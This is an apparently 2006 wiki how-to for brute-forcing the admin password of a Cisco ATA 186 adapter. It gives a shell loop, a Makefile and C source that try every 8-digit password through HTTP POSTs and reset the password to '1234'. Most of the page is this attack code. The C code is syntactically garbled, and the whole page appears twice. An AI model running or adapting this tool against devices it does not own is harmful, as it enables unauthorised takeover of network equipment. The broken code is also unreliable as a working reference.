Cisco ATA 186 Brute Force Crack Hack

The Story


I purchased a used Cisco ATA 186 off of eBay and it was locked. What's a guy to do? Well, I figured that since the password has to be numberic to punch it in on a key pad and probably 8 digits, that can't be too bad for a brute force hack. So I coded one up, and sure enough I got my password. Now, I must warn you, it took about 3 weeks running, but it did work. I would have been better counting backwards (who knew?), but I eventually got there. Another caveat is that I used a spare NIC card and a crossover cable to get the highest speed possible, becuase running through a switch gave the switch fits and interrupted the process. Your mileage may vary. BTW, the code as shown will change the password to '1234'. It pretty obvious in the code where to adjust for that. Although it did change the password for my device, the password reverted to the original after cycling the power, so keep those log files.

The Process

I started out going from 00000000 to 99999999, but it became apparent to me that the log file I was keeping would become too large. Also the issue with the router was screwing things up. Evidently it didn't like the volume of traffic and wanted to route other traffic too instead of just traffic to and from the device. So I broke the process down into 100 'steps'. With the breakdown into 100 'steps', each step took about 5.5 hours to complete. I tweaked the software and wrote a script to handle the parameters.

How to do it

I am using a linux box (Debian of course, put it really doesn't matter). Compile the C code and run the script. Following is the makefile, run script, and the source code. The parameters for the binary are:

atabrute <ip address of the device> <beginning point of password series>

This may not make sense until you look at the script. As the script runs, you will end up with gzip'd log files. What you do next is to grep through the log files looking for Content-Length headers. Most of the headers will be that same length as the original /dev page. However, that one speacial combination will clue you in to the password. I used the following string of commands (example) to check the log sessions for worthy results:

linuxbox:~$ zcat atabrute00.txt.gz | grep Content | sort | uniq
Content-Length: 83
Content-Length: 969
Content-Type: text/html

This was the normal output (with a 8 digit replacement password), but the logfile with the real passowrd turned out to have the result:
Content-Length: 83
Content-Length: 8666
Content-Length: 969
Content-Type: text/html

After ungzipping the log file and searching for the irregular Content-Length, I found the results I was looking for. You can too!

Have fun.

p.s. I'm sure the code could be made more elegant. I quickly cobbled it together from an old project from way back when and it worked, so I didn't bother cleaning it up. So you can save the flames for someone else, I know that code isn't optimized.

p.p.s. I've uploaded atabrute.tar.gz, since the code is mangled by the wiki. I'm working to unamgle the code as well.

Image



The Script


#!/bin/bash

for i in `seq 00 99`;
do
./atabrute 192.168.104.127 $i"000000" > atabrute$i.txt
gzip atabrute$i.txt
done



The Makefile


ALL: atabrute

all:($ALL)

atabrute: atabrute.c
gcc -Wall atabrute.c -o atabrute

clean:
rm -f atabrute



The Code — atabrute.c

#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define ERROR -1
#define BUF_SIZE 8192

int string_client(char *name, u_int16_t port, int istart);

int main(int argc, char *argv[])
{
char *strname;

if (argc == 1) {
strname = malloc(10);
strcpy(strname, "localhost\0");
} else {
strname = malloc(strlen(argv[1]) + 1);
strcpy(strname, argv[1]);
}

return string_client(strname, 80, atoi(argv[2]));
}


int string_client(char *name, u_int16_t port, int istart)
{
struct hostent *he;
int my_sockfd;
int ibytes;
struct sockaddr_in thier_addr;
int sockaddr_size = sizeof(struct sockaddr);
char strbuf[BUF_SIZE];
char strmsg[BUF_SIZE];
char strtmp[BUF_SIZE];
int iloop;
int istop;

istop = istart + 1000000;

for (iloop = istart; iloop < istop; iloop++) {

/* Change here to affect the new password */
sprintf(strtmp, "ChangeUIPasswd=%08d&ChangeUIPasswd=1234&ChangeUIPasswd=1234&apply=apply", iloop);

sprintf(strmsg, "POST /dev HTTP/1.0\r\nContent-Length: %d\r\n\r\n%s", strlen(strtmp), strtmp);

if he = gethostbyname(name == NULL) {
perror("Host Name Error");
exit(ERROR);
}

if my_sockfd = socket(PF_INET, SOCK_STREAM, 0 == ERROR) {
perror("Socket Creation Error");
exit(ERROR);
}

thier_addr.sin_family = PF_INET;
thier_addr.sin_port = htons(port);
thier_addr.sin_addr = *struct in_addr *) he->h_addr);
bzero(&(thier_addr.sin_zero), 8);

if ((connect(my_sockfd, (struct sockaddr *) &thier_addr, sockaddr_size == ERROR) {
perror("Socket Connection");
exit(ERROR);
}

printf("---------------------------------\n");
printf("%s\n", strmsg);
printf("---------------------------------\n");

if send(my_sockfd, strmsg, strlen(strmsg), 0 == ERROR) {
perror("Socket Send");
exit(ERROR);
}

/*
This is optional, I removed it and got most of the header transaction, add it back in to get the whole web page
usleep(300000);
*/
if ibytes = recv(my_sockfd, strbuf, BUF_SIZE - 1, 0 == ERROR) {
perror("Socket Receive");
exit(ERROR);
}

strbuf[ibytes] = '\0';
printf("Received: %s", strbuf);

close(my_sockfd);

}

return 0;
}





The Story


I purchased a used Cisco ATA 186 off of eBay and it was locked. What's a guy to do? Well, I figured that since the password has to be numberic to punch it in on a key pad and probably 8 digits, that can't be too bad for a brute force hack. So I coded one up, and sure enough I got my password. Now, I must warn you, it took about 3 weeks running, but it did work. I would have been better counting backwards (who knew?), but I eventually got there. Another caveat is that I used a spare NIC card and a crossover cable to get the highest speed possible, becuase running through a switch gave the switch fits and interrupted the process. Your mileage may vary. BTW, the code as shown will change the password to '1234'. It pretty obvious in the code where to adjust for that. Although it did change the password for my device, the password reverted to the original after cycling the power, so keep those log files.

The Process

I started out going from 00000000 to 99999999, but it became apparent to me that the log file I was keeping would become too large. Also the issue with the router was screwing things up. Evidently it didn't like the volume of traffic and wanted to route other traffic too instead of just traffic to and from the device. So I broke the process down into 100 'steps'. With the breakdown into 100 'steps', each step took about 5.5 hours to complete. I tweaked the software and wrote a script to handle the parameters.

How to do it

I am using a linux box (Debian of course, put it really doesn't matter). Compile the C code and run the script. Following is the makefile, run script, and the source code. The parameters for the binary are:

atabrute <ip address of the device> <beginning point of password series>

This may not make sense until you look at the script. As the script runs, you will end up with gzip'd log files. What you do next is to grep through the log files looking for Content-Length headers. Most of the headers will be that same length as the original /dev page. However, that one speacial combination will clue you in to the password. I used the following string of commands (example) to check the log sessions for worthy results:

linuxbox:~$ zcat atabrute00.txt.gz | grep Content | sort | uniq
Content-Length: 83
Content-Length: 969
Content-Type: text/html

This was the normal output (with a 8 digit replacement password), but the logfile with the real passowrd turned out to have the result:
Content-Length: 83
Content-Length: 8666
Content-Length: 969
Content-Type: text/html

After ungzipping the log file and searching for the irregular Content-Length, I found the results I was looking for. You can too!

Have fun.

p.s. I'm sure the code could be made more elegant. I quickly cobbled it together from an old project from way back when and it worked, so I didn't bother cleaning it up. So you can save the flames for someone else, I know that code isn't optimized.

p.p.s. I've uploaded atabrute.tar.gz, since the code is mangled by the wiki. I'm working to unamgle the code as well.

Image



The Script


#!/bin/bash

for i in `seq 00 99`;
do
./atabrute 192.168.104.127 $i"000000" > atabrute$i.txt
gzip atabrute$i.txt
done



The Makefile


ALL: atabrute

all:($ALL)

atabrute: atabrute.c
gcc -Wall atabrute.c -o atabrute

clean:
rm -f atabrute



The Code — atabrute.c

#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define ERROR -1
#define BUF_SIZE 8192

int string_client(char *name, u_int16_t port, int istart);

int main(int argc, char *argv[])
{
char *strname;

if (argc == 1) {
strname = malloc(10);
strcpy(strname, "localhost\0");
} else {
strname = malloc(strlen(argv[1]) + 1);
strcpy(strname, argv[1]);
}

return string_client(strname, 80, atoi(argv[2]));
}


int string_client(char *name, u_int16_t port, int istart)
{
struct hostent *he;
int my_sockfd;
int ibytes;
struct sockaddr_in thier_addr;
int sockaddr_size = sizeof(struct sockaddr);
char strbuf[BUF_SIZE];
char strmsg[BUF_SIZE];
char strtmp[BUF_SIZE];
int iloop;
int istop;

istop = istart + 1000000;

for (iloop = istart; iloop < istop; iloop++) {

/* Change here to affect the new password */
sprintf(strtmp, "ChangeUIPasswd=%08d&ChangeUIPasswd=1234&ChangeUIPasswd=1234&apply=apply", iloop);

sprintf(strmsg, "POST /dev HTTP/1.0\r\nContent-Length: %d\r\n\r\n%s", strlen(strtmp), strtmp);

if he = gethostbyname(name == NULL) {
perror("Host Name Error");
exit(ERROR);
}

if my_sockfd = socket(PF_INET, SOCK_STREAM, 0 == ERROR) {
perror("Socket Creation Error");
exit(ERROR);
}

thier_addr.sin_family = PF_INET;
thier_addr.sin_port = htons(port);
thier_addr.sin_addr = *struct in_addr *) he->h_addr);
bzero(&(thier_addr.sin_zero), 8);

if ((connect(my_sockfd, (struct sockaddr *) &thier_addr, sockaddr_size == ERROR) {
perror("Socket Connection");
exit(ERROR);
}

printf("---------------------------------\n");
printf("%s\n", strmsg);
printf("---------------------------------\n");

if send(my_sockfd, strmsg, strlen(strmsg), 0 == ERROR) {
perror("Socket Send");
exit(ERROR);
}

/*
This is optional, I removed it and got most of the header transaction, add it back in to get the whole web page
usleep(300000);
*/
if ibytes = recv(my_sockfd, strbuf, BUF_SIZE - 1, 0 == ERROR) {
perror("Socket Receive");
exit(ERROR);
}

strbuf[ibytes] = '\0';
printf("Received: %s", strbuf);

close(my_sockfd);

}

return 0;
}





Created by: extremescholar, Last modification: Mon 27 of Feb, 2006 (18:02 UTC) by pootul
Please update this page with new information, just login and click on the "Edit" or "Discussion" tab. Get a free login here: Register Thanks! - Find us on Google+